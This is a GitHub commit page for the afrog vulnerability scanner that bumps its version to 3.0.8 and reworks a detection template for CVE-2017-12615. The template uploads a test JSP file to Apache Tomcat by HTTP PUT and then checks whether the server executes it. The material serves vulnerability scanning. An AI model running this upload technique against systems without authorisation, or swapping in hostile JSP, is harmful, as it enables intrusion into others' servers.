Skip to content

Commit

Permalink
update version 3.0.8
Browse files Browse the repository at this point in the history
  • Loading branch information
zan8in committed Jul 8, 2024
1 parent b48e8b9 commit 3c36e5f
Show file tree
Hide file tree
Showing 15 changed files with 22 additions and 46 deletions.
2 changes: 1 addition & 1 deletion pkg/config/banner.go
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@ import (
"github.com/zan8in/gologger"
)

const Version = "3.0.7"
const Version = "3.0.8"

func InitBanner() {
fmt.Printf("\r\n|\tA F 🐸 O G\t|")
Expand Down
35 changes: 18 additions & 17 deletions pocs/afrog-pocs/CVE/2017/CVE-2017-12615.yaml
Original file line number Diff line number Diff line change
@@ -1,24 +1,25 @@
id: CVE-2017-12615

info:
name: Apache Tomcat RCE
author: j4ckzh0u(https://github.com/j4ckzh0u)
severity: high
name: Apache Tomcat 的远程代码执行漏洞
author: zan8in
severity: critical
verified: true

set:
filename: randomLowercase(6)
verifyStr: randomLowercase(12)
commentStr: randomLowercase(12)
filename: randomLowercase(6)
verifyStr: randomLowercase(12)
commentStr: randomLowercase(12)
rules:
r0:
request:
method: PUT
path: /{{filename}}.jsp/
body: '{{verifyStr}} <%-- {{commentStr}} --%>'
expression: response.status == 201
r1:
request:
method: GET
path: /{{filename}}.jsp
expression: response.status == 200 && response.body.bcontains(bytes(verifyStr)) && !response.body.bcontains(bytes(commentStr))
r0:
request:
method: PUT
path: /{{filename}}.jsp/
body: "{{verifyStr}} <%-- {{commentStr}} --%>"
expression: response.status == 201
r1:
request:
method: GET
path: /{{filename}}.jsp
expression: response.status == 200 && response.body.bcontains(bytes(verifyStr)) && !response.body.bcontains(bytes(commentStr))
expression: r0() && r1()
File renamed without changes.
25 changes: 0 additions & 25 deletions pocs/temp/afrog-pocs/cve/CVE-2017-12615.yaml

This file was deleted.

2 changes: 1 addition & 1 deletion pocs/temp/afrog-pocs/version
Original file line number Diff line number Diff line change
@@ -1 +1 @@
0.3.61
0.3.62
Binary file modified pocs/v/afrog-pocs.zip
Binary file not shown.
2 changes: 1 addition & 1 deletion pocs/v/afrog.version
Original file line number Diff line number Diff line change
@@ -1 +1 @@
3.0.7
3.0.8
2 changes: 1 addition & 1 deletion pocs/v/version
Original file line number Diff line number Diff line change
@@ -1 +1 @@
0.3.61
0.3.62

0 comments on commit 3c36e5f

Please sign in to comment.